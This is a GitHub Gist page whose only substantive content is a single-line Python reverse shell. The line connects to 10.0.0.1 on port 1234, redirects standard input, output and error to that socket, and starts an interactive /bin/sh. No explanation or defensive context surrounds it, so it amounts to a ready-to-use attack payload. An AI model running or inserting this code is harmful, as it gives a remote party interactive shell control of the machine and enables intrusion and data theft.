Skip to content

Instantly share code, notes, and snippets.

@Supitto
Created September 14, 2018 10:26
Show Gist options
  • Select an option

  • Save Supitto/39bca8ae49b9eda66a26d6a5f45f855a to your computer and use it in GitHub Desktop.

Select an option

Save Supitto/39bca8ae49b9eda66a26d6a5f45f855a to your computer and use it in GitHub Desktop.
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment